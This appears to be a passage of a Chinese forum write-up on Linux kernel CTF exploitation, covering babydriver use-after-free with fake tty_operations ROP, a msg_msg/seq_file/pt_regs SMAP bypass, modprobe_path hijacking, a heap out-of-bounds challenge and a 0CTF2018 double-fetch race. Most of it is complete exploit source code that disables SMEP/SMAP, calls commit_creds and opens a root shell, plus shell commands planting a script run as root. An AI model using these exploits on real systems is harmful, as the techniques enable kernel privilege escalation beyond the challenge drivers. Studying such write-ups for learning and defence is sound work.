1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
size_t fake_tty_operation[0x20] = {
                0xffffffff00000000,
                0xffffffff00000001,
                0xffffffff00000002,
                0xffffffff00000003,
                0xffffffff00000004,
                0xffffffff00000005,
                0xffffffff00000006,
                0xffffffff00000007,
                0xffffffff00000008,
                0xffffffff00000009,
                0xffffffff0000000a,
                0xffffffff0000000b,
                0xffffffff0000000c
};

 

一闪而过的报错中,可以看出来babywrite是被劫持到了tty_operation[7]这个位置,所以直接从这里开始劫持控制流。(后面发现,只要在启动脚本中加一句-no-reboot就不用担心看不见报错了,泪目)

 

想要完成内核rop,此时肯定需要控制一下rsp的位置,有一个比较好用的gadget:

1
2
0xffffffff8181bfc5: mov rsp, rax; dec ebx; jmp 0xffffffff8181bf7e;
0xffffffff8181bf7e: ret;

经过调试,发现此时rax的值刚好是这个tty_operation结构体的首地址

 

所以此时有两个思路:

1
2
1. 复用一次0xffffffff8181bfc5这里的gadget,把rsp劫持到用户态的rop那里去
2. 直接在tty_operation里rop,但是要注意一下绕过tty_operation[7]

不管用哪个,最终都能成功劫持程序流完成ret2usr。(由于一些原因,我还是选择了第二种方式)

 

不过有一个问题,使用这题原生的内核版本4.4.72会出现PANIC: double fault, error_code: 0x0这样的报错,<del>所以需要换内核版本运行,这里就不过多讨论了。</del>

 

查了一些资料过后,发现很可能是PTI保护机制的问题,在尝试关闭PTI无果之后,发现其实可以通过对特定signal的处理来继续完成利用,比如说PTI机制这里会抛出的11号信号,给他处理成get_root_shell这个函数就行了,因为在这之前已经完成了bypass smep和prepare_kernel_cred(commit_creds(0))的操作。

 

(本来想用swapgs_restore_regs_and_return_to_usermode的,不过这个题内核版本太老了,貌似还并没有引进这个函数)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
 
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status(){
    __asm__("mov usr_cs, cs;"
        "pushf;"
        "pop usr_rflags;"
        "mov usr_rsp, rsp;"
        "mov usr_ss, ss;"
    );
}
void get_root(){
    char* (*pkc)(int) = 0xffffffff810a1810; // prepare_kernel_cred;
    void* (*cc)(char*) = 0xffffffff810a1420; // commit_creds;
    (*cc)((*pkc)(0));
}
void get_root_shell(){
    if(getuid()!=0){
        puts("[-] get root failed.");
        exit(-1);
    }
    system("/bin/sh");
}
int main(){
    save_status();
    signal(11, (size_t)get_root_shell);
 
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);  // uaf
    size_t rop[0x30] = {0};
    int i = 0;
    rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
    rop[i++] = 0x6f0; // bypass smep
    rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;  // ret2usr
    rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff814e35ef; // iretq; ret;
    rop[i++] = (size_t)get_root_shell; // rip
    rop[i++] = usr_cs;
    rop[i++] = usr_rflags;
    rop[i++] = usr_rsp;
    rop[i++] = usr_ss;
 
    int fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t fake_tty_operation[0x20] = {
                    0xffffffff00000000,
                    0xffffffff00000001,
                    0xffffffff00000002,
                    0xffffffff00000003,
                    0xffffffff00000004,
                    0xffffffff00000005,
                    0xffffffff00000006,
                    0xffffffff00000007,
                    0xffffffff00000008,
                    0xffffffff00000009,
                    0xffffffff0000000a,
                    0xffffffff0000000b,
                    0xffffffff0000000c
            };
    /*
    fake_tty_operation[0] = 0xffffffff8100ce6e; // pop rax; ret;
    fake_tty_operation[1] = rop[0];
    for(int j=2;j<5;j++)
        fake_tty_operation[j] = 0xffffffff8100ce6f; // ret;
    fake_tty_operation[5] = 0xffffffff8105c144// pop rbx; ret;
    fake_tty_operation[6] = 0xffff880006f31c00;
    */
    for(int j=0;j<5;j++)
        fake_tty_operation[j] = rop[j];
    fake_tty_operation[5] = 0xffffffff8100ce6f; // ret;
    for(int j=6;j<14;j++)
        fake_tty_operation[j] = rop[j-1];
 
    fake_tty_operation[7] = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret;
 
    size_t fake_tty_struct[4] = {0};
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_operation; // hijack *ops
    write(fd2, fake_tty_struct, 32);
 
    char buf[0x10] = {0};
    write(fd3, buf, 0x8);  // tty_operation -> write
    return 0;
}

RE: REsolve: babydriver (msg_msg + seq_file + pt_regs + ret2usr)

分析

大多数情况下,smep和smap都是同时出现的,那么之前那个攻击方式就有欠缺了些许味道(毕竟伪造的tty_operation还是位于用户态,所以并不能抗住smap这个机制)

 

所以我又脑子一热,将启动脚本修改如下(加入了smap)

1
2
3
4
5
6
7
qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
    -enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep,+smap \
    -no-reboot \
    -s

思路其实和之前差不多,利用某些方式劫持到程序流之后栈迁到rop就行,只不过rop需要想办法构造在DMA区域中了。

 

为了学习尽可能多的trick,我使用了一种比较曲折的方式来达成利用((((

 

过程可以大致分为以下几步:

  • 利用本题漏洞,造一个0x1000大小的uaf,开一个0x1100的msg_msg结构体(前0x1000的msg_msg内容任意,后面挂着的0x100的msg_msgseg用于布置rop),利用uaf leak出msg_msg中指向msg_msgseg的指针,得到rop地址。
  • 再造一个0x18大小的uaf,打开/proc/self/stat创建出seq_file,uaf捕获到seq_operations。这样就能利用read(seq_fd, $rsp, 8)触发seq_operations->start指针的任意执行了。
  • 先使用add rsp, val这类gadgets来让rsp走到pt_regs中,从而再利用pop rsp; ret这样的gadget实现栈迁移(由于没有找到合适的一次性把rsp add到pt_regs的gadget,所以在exp使用了二段跳)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/keyctl.h>
 
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>
 
#include <errno.h>
 
int dev_fd[2], seq_fd;
const char *dev_name = "/dev/babydev";
 
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t rop_addr;
 
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status()
{
    __asm__(
        "mov usr_cs, cs;"
        "pushf;"
        "pop usr_rflags;"
        "mov usr_rsp, rsp;"
        "mov usr_ss, ss;"
    );
}
 
void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void* (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}
 
void get_root_shell()
{
    if (getuid()!=0) {
        puts("[-] get root failed.");
        exit(-1);
    }
    system("/bin/sh");
}
 
void build_rop(size_t *rop, int offset)
{
    int i = offset;
    rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
    rop[i++] = 0x6f0; // bypass smep&smap
    rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;  // ret2usr
    rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
    rop[i++] = ((size_t)&i);
    rop[i++] = 0xffffffff814e35ef; // iretq; ret;
    rop[i++] = (size_t)get_root_shell; // rip
    rop[i++] = usr_cs;
    rop[i++] = usr_rflags;
    rop[i++] = usr_rsp;
    rop[i++] = usr_ss;
}
 
int getMsgQueue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
 
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT|MSG_NOERROR);
}
 
int writeMsg(int msqid, void *msgp, size_t msgsz)
{
    return msgsnd(msqid, msgp, msgsz, 0);
}
 
int main()
{
    save_status();
    signal(11, (size_t)get_root_shell);
 
    int qid = getMsgQueue();
    if (qid == -1) {
        fprintf(stderr, "[-] msg_queue\n");
        exit(-1);
    }
 
    dev_fd[0] = open(dev_name, O_RDWR);
    if (dev_fd[0] == -1) {
        fprintf(stderr, "[-] open %s failed.(1)\n", dev_name);
        exit(-1);
    }
 
    dev_fd[1] = open(dev_name, O_RDWR);
    if (dev_fd[1] == -1) {
        fprintf(stderr, "[-] open %s failed.(2)\n", dev_name);
        exit(-1);
    }
 
    char *buffer_send = malloc(0x4000);
    char *buffer_recv = malloc(0x4000);
    memset(buffer_send, 0x61, 0x4000);
 
    build_rop((size_t *)buffer_send, ((0x1000-0x30)>>3)+1);
 
    ioctl(dev_fd[0], 0x10001, 0x1000);
    close(dev_fd[0]);
 
    int cnt = 1;
    for (int i = 0; i < cnt; ++i) {
        if (writeMsg(qid, buffer_send, 0x1100-0x38) < 0)
            fprintf(stderr, "[-] msg_msg\n");
        else
            puts("[+] msg_msg\n");
    }
 
 
    read(dev_fd[1], buffer_recv, 0x40);
    puts("\nPartial leak:");
    for (int i = 0; i < 8; ) {
        printf("[+] %016lx %016lx\n", ((size_t *)buffer_recv)[i], ((size_t *)buffer_recv)[i+1]);
        i += 2;
    }
    rop_addr = ((size_t *)buffer_recv)[4] + 0x8;
    printf("[+] rop_addr: 0x%lx\n", rop_addr);
    printf("[+] buffer_send: 0x%lx\n", buffer_send);
 
    dev_fd[0] = open(dev_name, O_RDWR);
    if (dev_fd[0] == -1) {
        fprintf(stderr, "[-] open %s failed.(3)\n", dev_name);
        exit(-1);
    }
    ioctl(dev_fd[0], 0x10001, 0x18);
    close(dev_fd[0]);
 
    seq_fd = open("/proc/self/stat", O_RDONLY);
    if (seq_fd == -1) {
        puts("[-] failed in opening seq_fd.");
        exit(-1);
    }
 
    // getchar();
 
    size_t ptr = 0xffffffff8151a3a5// add rsp, 0x148; pop rbx; pop r12; pop r13; pop rbp; ret;
    write(dev_fd[1], (char *)&ptr, 0x8);
 
    __asm__(
        "mov r15,   0xffffffff8100006f;"  // ret;
           "mov r14,   0xffffffff81183478;"  // add rsp, 0x40; pop rbx; pop rbp; ret;
           "mov r13,   0xffffffff8100006f;"
           "mov r12,   0xffffffff8100006f;"
           "mov rbp,   0xffffffff8100006f;"
           "mov rbx,   0xffffffff8100006f;"
           "mov r11,   0xffffffff8100006f;"
           "mov r10,   0xffffffff8100006f;"
           "mov r9,    0xffffffff81171045;"  // pop rsp; ret;
           "mov r8,    rop_addr;"
           "xor rax,   rax;"
           "xor rdi,   rdi;"
           "mov rcx,   0xdeadbeef;"
           "mov rdx,   8;"
           "mov rsi,   rsp;"
           "mov rdi,   seq_fd;"
           "syscall"               // read(seq_fd, $rsp, 8);
    );
 
    // getchar();
 
    return 0;
}

Hijack modprobe_path

他和poweroff_cmd, uevent_helper, ocfs2_hb_ctl_path, nfs_cache_getent_prog, cltrack_prog这些变量类似,都是call_usermodehelper类型的trick。

 

只需要劫持一个字符串,就能用root权限执行任意命令(但是这个命令往往是不可以交互的)

 

modprobe_path为例在劫持了对应字符串为/tmp/a.sh之后,只需要运行一个非正确的ELF文件即可触发

1
2
3
4
5
system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/a.sh");
system("chmod 777 /tmp/dummy; chmod 777 /tmp/a.sh");
 
system("/tmp/dummy");

rwOnTheHeap

分析

checksec只开了NX

 

关键函数如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 procfile_open()
{
  _QWORD *v0; // rax
 
  _fentry__();
  v0 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[10], 3264LL, 1024LL);
  *v0 = v0;
  procfs_buffer = (__int64)v0;
  return _x86_return_thunk(0LL, 0LL, 0LL);
}
 
__int64 __fastcall procfile_write(__int64 a1, __int64 a2)
{
  _fentry__();
  if ( !copy_from_user(&request_t, a2, 16LL) )
    *(_QWORD *)(procfs_buffer + *(&request_t + 1)) = request_t;
  return _x86_return_thunk(0LL, 0LL, 0LL);
}
 
__int64 __fastcall procfile_read(__int64 a1, __int64 a2)
{
  _fentry__();
  if ( !copy_from_user(&request_t, a2, 16LL) )
  {
    request_t = *(_QWORD *)(procfs_buffer + *(&request_t + 1));
    copy_to_user(a2, &request_t, 16LL);
  }
  return _x86_return_thunk(0LL, 0LL, 0LL);
}

非常直观的dma中越界读写漏洞(值得一提的是,越界的地址范围多达8字节,这已经可以任意位置读写了)

 

不难想到,只需要leak出kernel的text段地址即可直接越界修改modprobe_path达成利用。

 

在leak的时候我使用的方法是

  • 构造若干个msg_msgmsg_msgseg,在一个msg_queue上挂着0x400的msg_msg,指向0x1000的msg_msg,再指向0x20的msg_msgseg。然后再开一个shm_file_data(0x20)。
  • 通过越界读,在procfs_buffer附近4个内存页中搜索0x400的msg_msg,从他的双链表找到0x1000的msg_msg的位置,再通过0x1000的msg_msg leak出0x20的msg_msgseg的地址。
  • 这时就又能通过越界读,在0x20的msg_msgseg附近的3个内存页中搜索到shm_file_data,从而得到kernel的text段地址,计算出modprobe_path的位置,达成利用。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
 
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>
 
size_t buf[2];
 
int fd1, fd2;
 
void read_from_heap(int fd, size_t offset) {
    buf[1] = offset;
    read(fd, buf, 0x10);
}
 
void write_to_heap(int fd, size_t value, size_t offset) {
    buf[0] = value;
    buf[1] = offset;
    write(fd, buf, offset);
}
 
int main() {
    fd1 = open("/proc/vuln", O_RDWR);
    if(fd1 == -1) {
        printf("[-] open device error.\n");
        exit(-1);
    }
    printf("[+] fd: %d\n", fd1);
 
    read_from_heap(fd1, 0);
    uint64_t procfs_buffer = buf[0];
    printf("[+] buffer addr: %lx\n", procfs_buffer);
 
 
    char *buffer = malloc(0x4000);
    memset(buffer, 0x61, 0x400);
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    msgsnd(qid, buffer, 0x400-0x30, 0);
 
    memset(buffer, 0x62, 0x2000);
    msgsnd(qid, buffer, 0x1020-0x38, 0);  // 0x1000 + 0x20
 
    int shmid = shmget(IPC_PRIVATE, 100, 0600); // 0x20 -> shm_file_data -> leak
    if(shmid == -1) {
        puts("[-] shmget error!");
        exit(-1);
    }
    char *shaddr = shmat(shmid, NULL, 0);
    if(shaddr == (void *)-1) {
        puts("[-] shmattr error!");
        exit(-1);
    }
 
    // search msg_msg (0x400) in recent 4 pages
    int cur = -0x2000, tail = 0x2000;
    uint64_t msg_msg_1024 = 0;
    for(; cur <= tail; cur+=0x10) {
        read_from_heap(fd1, cur);
        //printf("%016lx %016lx\n", buf[0], buf[1]);
        if(buf[0]==0x6161616161616161) {
            read_from_heap(fd1, cur-0x10);
            msg_msg_1024 = buf[0];
 
            printf("[+] msg_msg_1024: %lx\n", msg_msg_1024);
            break;
        }
    }
    if(!msg_msg_1024) {
        puts("[-] failed in searching msg_msg_1024");
        exit(-1);
    }
 
    read_from_heap(fd1, msg_msg_1024 + 0x20 - procfs_buffer);
    uint64_t msg_msgseg = buf[0];
    printf("[+] msg_msgseg: %lx\n", msg_msgseg);
 
    // search shm_file_data in recent 3 pages
    cur = msg_msgseg - procfs_buffer - 0x1008, tail = cur + 0x2008;
    uint64_t leak_kernel_addr = 0;
    for(; cur <= tail; cur+=0x10) {
        read_from_heap(fd1, cur);
        //printf("[+] %016lx\n", buf[0]);
        if(buf[0]>0xffffffff00000000) {
            leak_kernel_addr = buf[0];
 
            printf("[+] leak_kernel_addr: %lx\n", leak_kernel_addr);
            break;
        }
    }
    if(!leak_kernel_addr) {
        puts("[-] failed in searching leak");
        exit(-1);
    }
 
    uint64_t modprobe_path = leak_kernel_addr - 0x1da1a0;
    printf("[+] modprobe_path: %lx\n", modprobe_path);
 
    // hijack modprobe_path
    write_to_heap(fd1, 0x0061612f706d742f, modprobe_path - procfs_buffer);
 
    system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");
    system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/aa");
    system("chmod 777 /tmp/dummy; chmod 777 /tmp/aa");
 
    system("/tmp/dummy");
 
    getchar();
 
    return 0;
}

Double fetch

这个属于条件竞争类的利用,在某些时候kernel第一次拿到一个值,判断合法之后,距离使用还存在一定的窗口期,在这个期间利用条件竞争漏洞修改掉那个值,即可达成恶意目的。

0CTF2018-final-baby

分析

baby_ioctl的本意就是让你传一个地址和长度,如果和内核中flag的内容一致的话,就可以直接打印出flag了,而且在传参数0x6666的时候会直接白给内核态中真flag的地址。

 

不过在函数_chk_range_not_ok里限制了我们传入的flag必须在用户态的空间之内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  bool v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al
 
  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;
  return result;
}
 
__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-54h]
 
  if ( a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( a2 == 0x1337
         && !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
         && !_chk_range_not_ok(
               *(_QWORD *)a3,
               *(int *)(a3 + 8),
               *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
         && *(_DWORD *)(a3 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}
 
__int64 baby_ioctl()
{
  _fentry__();
  return sub_25();
}

一看启动脚本

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1  \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  -enable-kvm  \

双核,可能存在条件竞争类漏洞。

 

联想到double fetch的思路,可以尝试在传入flag地址,通过_chk_range_not_ok的检查之后用子线程修改掉传入的flag地址为真正的flag地址,从而让他直接打印出flag。

 

(也有一种魔鬼思路是利用mmap开出一块地址,然后将猜测的flag放在mmap这块空间的末位,然后利用是否造成kernel pannic来逐步爆破flag,最多只需要爆破2k+次就能成功)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
 
#define COMPETATION_TIME 0x1000
 
pthread_t competation_thread;
 
char buf[0x1000];
 
uint32_t attack = 1;
char * real_addr;
 
struct {
    char * flag_addr;
    uint32_t flag_len;
} flag = {.flag_addr = buf, .flag_len = 33};
 
void race_condition() {
    while(attack) {
        for(int i = 0; i < COMPETATION_TIME; ++i) {
            flag.flag_addr = real_addr;
        }
    }
}
 
int main() {
    int fd, addr_fd, result_fd;
    fd = open("/dev/baby", O_RDWR);
    ioctl(fd, 0x6666);
 
    system("dmesg | grep flag >./addr");
    addr_fd = open("./addr", O_RDONLY);
 
    buf[read(addr_fd, buf, 0x100)] = '\x00';
 
    char *leak_flag_addr = strstr(buf, "Your flag is at ") + 0x10;
    real_addr = strtoull(leak_flag_addr, leak_flag_addr + 0x10, 0x10);
    printf("\033[34m[+]flag addr: 0x%llx\033[m\n", real_addr);
 
    pthread_create(&competation_thread, NULL, race_condition, NULL);
 
    while(attack) {
        for(int i = 0; i < COMPETATION_TIME; ++i) {
            flag.flag_addr = buf;
            ioctl(fd, 0x1337, &flag);
        }
        system("dmesg | grep flag >./result");
        result_fd = open("./result", O_RDONLY);
 
        read(result_fd, buf, 0x100);
        if(strstr(buf, "flag{")) {
            attack = 0;
        }
    }
 
    pthread_cancel(competation_thread);
 
    puts("\033[34m[+]success!\033[m");
    system("dmesg | grep flag");
 
    return 0;
}

参考文章

https://www.jianshu.com/p/a2259cd3e79e

 

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-3-8 22:38 被kotoriseed编辑 ,原因: <del>改成~~
收藏
点赞20
打赏
分享
最新回复 (2)
雪    币: 3453
活跃值: (6032)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
e*16 a 2 2023-3-8 22:45
2
0
虽然看不懂,但是小贤贤说了,我就得办
雪    币: 12075
活跃值: (15434)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-3-9 09:25
3
0
感谢分享
游客
登录 | 注册 方可回帖
返回